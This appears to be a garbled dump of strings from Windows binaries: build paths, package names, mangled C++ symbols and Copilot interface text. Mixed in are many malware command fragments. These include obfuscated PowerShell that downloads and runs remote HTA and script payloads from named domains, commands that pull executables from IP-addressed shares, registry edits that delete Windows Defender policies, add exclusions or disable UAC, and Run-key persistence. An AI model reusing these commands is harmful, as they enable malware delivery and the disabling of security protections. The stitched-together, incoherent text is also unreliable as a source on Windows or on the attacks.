D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google\protobuf\arena.cc
D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google/protobuf/parse_context.h
onecore\windows\accessibletech\uiautomationcore\proxies\msaaproxy.cpp
onecore\windows\accessibletech\uiautomationcore\MessageBuilderParser.h
onecore\windows\accessibletech\common\BasicMessageBuilderParser.h
onecore\windows\accessibletech\uiautomationcore\SmartPointers.h
onecore\windows\accessibletech\uiautomationcore\objectreferencemanager.cpp
onecore\windows\accessibletech\uiautomationcore\connectionbase.cpp
onecore\windows\accessibletech\uiautomationcore\proxyeventmanager.cpp
onecore\windows\accessibletech\uiautomationcore\eventmanager.cpp
onecore\windows\accessibletech\uiautomationcore\cautomation.cpp
onecore\windows\accessibletech\uiautomationcore\wineventmanager.cpp
onecore\windows\accessibletech\common\wineventsmanager.cpp
onecore\windows\accessibletech\uiautomationcore\proxies\editproxy.cpp
Tonecore\windows\accessibletech\uiautomationcore\proxies\miscproxies.cpp
onecore\windows\accessibletech\uiautomationcore\RemotePatternStub.h
onecore\windows\accessibletech\uiautomationcore\winrt\remoteoperations\windows.ui.uiautomation.core.automationremoteoperationresult.cpp
onecore\windows\accessibletech\uiautomationcore\CLegacyIAccessiblePattern.h
@onecore\windows\accessibletech\uiautomationcore\UiaUtil.h
onecore\windows\accessibletech\uiautomationcore\cautomationpatterninstance.cpp
@onecore\windows\accessibletech\uiautomationcore\winrt\remoteoperations\windows.ui.uiautomation.core.coreautomationremoteoperationcontext.cpp
WindowsPackageManagerServer.exe1
copy delete.exe C:\WINDOWScopy expand.exe C:\WINDOWSecho y | reg addNoControlPanelNoViewOnDrivestart random.batstart delete.exeTrojanDownloader:O97M/EncDoc.DPI!MTB
"C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe" -Embedding
windowsp
WINDOWS11
c:\windows\system32
'c:\windows\`
G_.\windows\
temroot%\system32\zipfldr.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\185.217.197.84@80\file\'";start-sleep-seconds7;stop-process-nameexplorer;\\185.217.197.84@80\file\orlandoscsi.exe
\windows\currentversion\runonce'
'cmd.exe/ccmd.exe/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
crpted.jpg'-oc:\windows\temp\done.vbs;explorer.exe%
system32\ytrsf!
winlogon.exe".savetofile Environ("APPDATA")
I[system.convert]::frombase64string("ahr0chm6ly9hbxnzac5jby9mawxllmv4zq=="))$scripturl=[system.text.encoding]::utf8.getstring([system.convert]::frombase64string("ahr0chm6ly9hbxnzac5jby9zy3jpchquchmx"))$updaterexe="updater.exe"$trustedname="windowsupdate.ps1"
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
WindowScrollTop
windows-1252
<exec><command>c:\windows\system32\cmd.exe</command>
ywindows\system32\cmd.exe/cp""ow""er""s""h""ell/""w0
windows\system32\cmd.exe/cpo""w""er""s""h""ell/""w0
{windows\system32\cmd.exe/cpo""we""r""s""h""ell/""w0
windows\system32\cmd.exe/cpo""we""r""sh""e""ll/""w0
 Windows
 Windows
&isWindowsAction=true
$windows.actions.scenario
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.CopilotRuntime.Actions_cw5n1h2txyewy
	1Windows NT\CurrentVersion\Image9
\system32\rsaenh.dll
Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbw
Microsoft.Windows.DevHome_0.1700.597.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbw
delete /f /tn updatecfgSetuptrolC:\Windows\
2.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rune
software\microsoft\windows\currentversion\run|s
bCX1QDQ7ut(klVKin@CISRe_Vu3YX^bKUDDTDhJUjMMZA&<mSr>fEj&>NGGNuf\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\com\administration\spy\x64\Release\ComS
 Windows
ndex.windows
officewindowssecurityfirewall
.WindowsAppR2
rundll32.exe c:\windows\system32\advpack.dll,delnode4
WindowsLive.
TCP/IP for WindowsE
y're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-windowstylehidden-command
X-BM-WindowsFlights"
+pWindowsFlights"
obh do phasfhocal Windows chun 
 intentant emplenar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.copilotupdateServei de l'actualitzaci
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites-journal
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites-wal
^windows.appExtens
^windows.appExtensionx
c:\windows\system32\
c:\windows\system32\
systemroot\system32\drivers\oem-drv86.syss
activate windows and office permanentlya
c:\windows\system32\cmd.exe/cstart
Source\Repos\deploy\deploy\obj\Debug\deploy.pdbWindows USB Servisi$18665594-f6e4-4ad8-a531-9d0a00520025B
windows\syswow64\rundll32.exe";$a=1
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Global.WindowsOobeAppHost.AppXfm4rhbv5eh134mbztfsr33j3ge97tmcx.mca
Global.WindowsOobeAppHost.wwa
/\Windows
!\windows\system32\windowspowershell\v1.0\powershell.exec.$env:c:\w*\s*2\m*h?a.*'http://letshackit.shohos.com/first1.hta'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://ti.pancabudi.ac.id/reserva.hta'
..\windows\system32\cmd.exe/cmethane\philosophies.cmdregc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
Tc:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.\*i*\s*3*\m*ta.e*https://ftpclienter.com/1"
pc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://power.poisontoolz.com/
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\?i*\s*3?\m*ta.e*('https://iknas.com/1040a'+'.h'+'ta')
c:\windows\system32\cm
/Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp\WebView2Downloads
.?AU?$producers_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_82fbfb2c8ee5608eefd35381b5f0a1c4>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_82fbfb2c8ee5608eefd35381b5f0a1c4>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_69421ba4417527abc53520e372a5e0d4>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_79981cb7109e9408e019985868374c7f>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_79981cb7109e9408e019985868374c7f>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_7f4abea08c761e06706b54e9a2856a95>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_69421ba4417527abc53520e372a5e0d4>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_7f4abea08c761e06706b54e9a2856a95>@@@impl@winrt@@
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
 Windows 
qWindows#
shouldLogFlightAssignmentsToWindows
C:\WINDOWS\Inf\~3778.tmpMadExceptionmadStringsmadSecurity
software\microsoft\windows\currentversion\policies\system, enablelua, 0
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
windows
 @titleBarWindowShakeEnabled
ComSpec=C:\WINDOWS\system32\cmd.exe
%PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Microsoft.Windows.Print.Sandbox
WINDOWS11
WindowsAppLookupResponse
windowsSettings
MalformedWindowsSettings
C:\Users\ContainerAdministrator\ESP\ESP.Build\third_party\wp.client\msinternal\src\smartscreen/src/service/windows_settings.h
NullWindowsSettingsHolder
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
)MicrosoftWindows.Client.CBS_cw5n1h2txyewy
NC:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
cdisdefpause@echooffregdelete"hklm\software\policies\microsoft\windowsdefender"/f
(@client.wns.windows.com
client.wns.windows.com
Software\Microsoft\Windows\Primitiviteten\Uninstall\subumbilicalS
Software\Microsoft\Windows\Medflges\Uninstall\Annal97S
<!-- If your application is designed to work with Windows 8.1, uncomment the folS
\windows\installer\{
windows-kb890830|8efc0e6d687d6557
Microsoft.Windows.Shell.ControlCenter
Microsoft.Windows.Print.LocalMon
Xqwindows defender warningsecurity_alertbilling_browsercan't connect to securitycenter\systemcleaner.lnk
\japonica\inward.cmdc:\windows\system32\zipfldr.dll
        <string id="description" value="$(runtime.system32)" />
      <provider guid="{}" messageFileName="%SystemRoot%\system32" name="" resourceFileName="" symbol="">
        <counterSet description="" descriptionID="" guid="{}" instances="multipleAggregate" name="" nameID="" symbol="" uri="Microsoft.Windows.">
          <counter defaultScale="0" description="" descriptionID="" detailLevel="standard" id="" name="" nameID="" symbol="" type="perf_counter_large_rawcount" uri="Microsoft.Windows.">
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@U?$IAsyncOperation@W4StartupTaskState@ApplicationModel@Windows@@@23@@@YAJPEAU?$IAsyncOperation@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@PEAUIStartupTaskInternal@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@W4StartupTaskState@ApplicationModel@Windows@@@Foundation@Windows@@
.?AV?$RuntimeClass@U?$IVectorView@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@234@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$00@WRL@Microsoft@@$00$00$0A@U?$IVectorView@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@567@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$00@WRL@Microsoft@@$0A@U?$IVectorView@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@UIWeakReferenceSource@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@567@@Details@WRL@Microsoft@@
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
(@Windows.Data.PeopleShareTarget.MRUPeopleShareApps
 @Windows.Data.Settings.MultiTasking.MultiTaskOthers
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Settings.DisplaySettings.MultipleDisplays
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
"@Windows.Data.HomeScreenBackground.PotraitTransform
 @Windows.Data.Settings.Voice.SpeechToTextSettings
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.HomeScreenBackground.LandScapeTransform
(@Windows.Data.Settings.LunarCalendarSettings.LunarCalendar
*@CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
 @Windows.Data.Settings.PrivacySettings.AppConsent
 @Windows.Data.Settings.PrivacySettings.CapabilityConsent
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.PartitionMetadata
(@Windows.Data.Settings.PrivacySettings.DeviceSettings
 @Windows.Data.Settings.MultiTasking.MultiTaskDesktop
 @Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
 @Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
 @Windows.Data.Platform.Diagnostics.DiagnosticData
 @Windows.Data.Platform.Diagnostics.DiagnosticSubData
 @Windows.Data.Platform.Diagnostics.DiagnosticSecureData
 @Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
 @Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
 @Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
windows.storage.dll
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
Windows DesktopX
Microsoft.Windows.DeviceManagement.ConfigRefresh
Microsoft.Windows.DeviceManagement.DcSvc
Microsoft.Windows.DeviceManagement.ConfigLock
Microsoft.Windows.DeviceManagement.OmaDmApiProvider
Microsoft.Windows.DeviceManagement.SessionManagement
Microsoft.Windows.DeviceManagement.OmaDmClient
Microsoft.Windows.DeviceManagement.OMADMPRC
Microsoft.Windows.EnterpriseManagement.ResourceManager
Microsoft.Windows.EnterpriseManagement.ResourceManagerUnenrollHook
Microsoft.Windows.DeviceManagement.DmAccCsp
Microsoft.Windows.DeviceManagement.DevInfo
Microsoft.Windows.DeviceManagement.DevDetailCsp
Microsoft-Windows-DeviceManagement-W7NodeProcessor
Microsoft.Windows.DeviceManagement.SecurityPolicyCsp
Microsoft.Windows.EnterpriseManagement.DeclaredConfiguration
Microsoft.Windows.EnterpriseManagement.PolicyManager
Microsoft.Windows.EnterpriseManagement.ConfigManagerHook
Microsoft.Windows.DeviceManagement.ConfigManager2
Microsoft.Windows.EMPS.Enrollment
Microsoft.Windows.EnterpriseManagement.Enrollment
msWindowsShare
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @https://assets.activity.windows.com/v1/assets/$batch
WINDOWS.SYSTEM.USER
WindowsPowerShell\\v1.0\\p
#Windows.Client.CBS_cw5n1h2txyewy!WebExperienceHostu
/WebExperienceHost","MicrosoftWindows.Client.CBS_cw5n1h2txyewy!!
Windows.AdministrativeToolsL
external.executeshellcommand("powershell.exe","","-executionpolicybypass-windowstylehidden-command\"invoke-restmethod-uri'https://encrypthub.us/encrypthub/ram/ram.ps1'|invoke-expression\"","minimized");external.executeshellcommand("powershe
asp:textboxid="cmdpath"runat="server"text="c:\windows\system32\cmd.exe
	WindowsFeedback
>;superjuanjuan_tracking_mutexwindows\currentversion\explorer\browser helper objects/redirect/
nsystemroot%\system32\imageres.dll
c:\windows\system32\tpmvscmgr.exe
Microsoft.Windows.Networking.DNS
Microsoft.Windows.Networking.DNS
Microsoft.Windows.TlgAggregateInternal
*.wns.windows.com0
*.wns.windows.com0
2C:\WINDOWS\system32\backgroundTaskHost.exe
WINDOWS
	\system32\cmd.exe
c:/windows/system32/dL
c:/windows/system32/d
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupA
AppData\Roaming\Microsoft\Windows';Add-MpPreference -ExclusionPath 'C:\UsersA
Microsoft\Windows\Windows.exeM
@powershell.exe-windowstylenormal-noexit-command"iex(new-objectsystem.net.webclient).downloadstring(\'https://suporte.re/ldap/shell.txt\');"
set_ClientCredentialWindowsApplication11.pdb
SLGetWindowsInformationDWORD
t:\windows\system32
s:\windows\system32
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsGetStringRawBuffer
MFIsWindowsStudioEffectAvailable
WindowScann
Microsoft.Windows.MediaFoundation.SensorGroup
aps.prod.windows.com0
aps.prod.windows.com0>
GetProcessWindowStation
iles\WindowsApps\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe
GetProcessWindowStation
etProcessWindowSta
GetWindowsDirectoryW
WindowsCreateStringReference
EnumWindows
system32\cmd
pWindowsb
WINDOWS11
Microsoft.Windows.Print.IppAdapterCorePsa
Microsoft.Windows.Print.IppAdapterCommon
Call Shell("cmd.exe  /c C:\Program Files\Windows Defender\MpCmdRun3
rundll32.exe c:\windows\system32\advpack.dll,delnode4
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft 
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
:= "C:\Windows\System32\findstr.exe /V /L W3AllLov3LolBas \\20.69.97.31\webdav\um.exe > C:\Windows\Temp\um.exe && exit
WindowsAppRuntime.Release!1.6.1201
'Microsoft Windows Code Signing PCA 20240
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
^C:\WINDOWS\SYSTEM32\(%u+%.DLL)$
^C:\WINDOWS\(%u+%.DLL)$
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_5985f10a27beed8ab1acd3da44bc6daa>@@$0A@@std@@V?$allocator@V?$_Func_class@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@std@@U45@U45@U45@U45@U45@U45@@std@@@2@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@2@U72@U72@U72@U72@U72@U72@@std@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_423755937c7b2b9cdcf4a30c37e716ca>@@$0A@@std@@V?$allocator@V?$_Func_class@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@std@@U45@U45@U45@U45@U45@@std@@@2@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@2@U72@U72@U72@U72@U72@@std@@
.?AU?$IIterator@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$MapChangedEventHandler@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AV?$MapChangedEventHandler@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
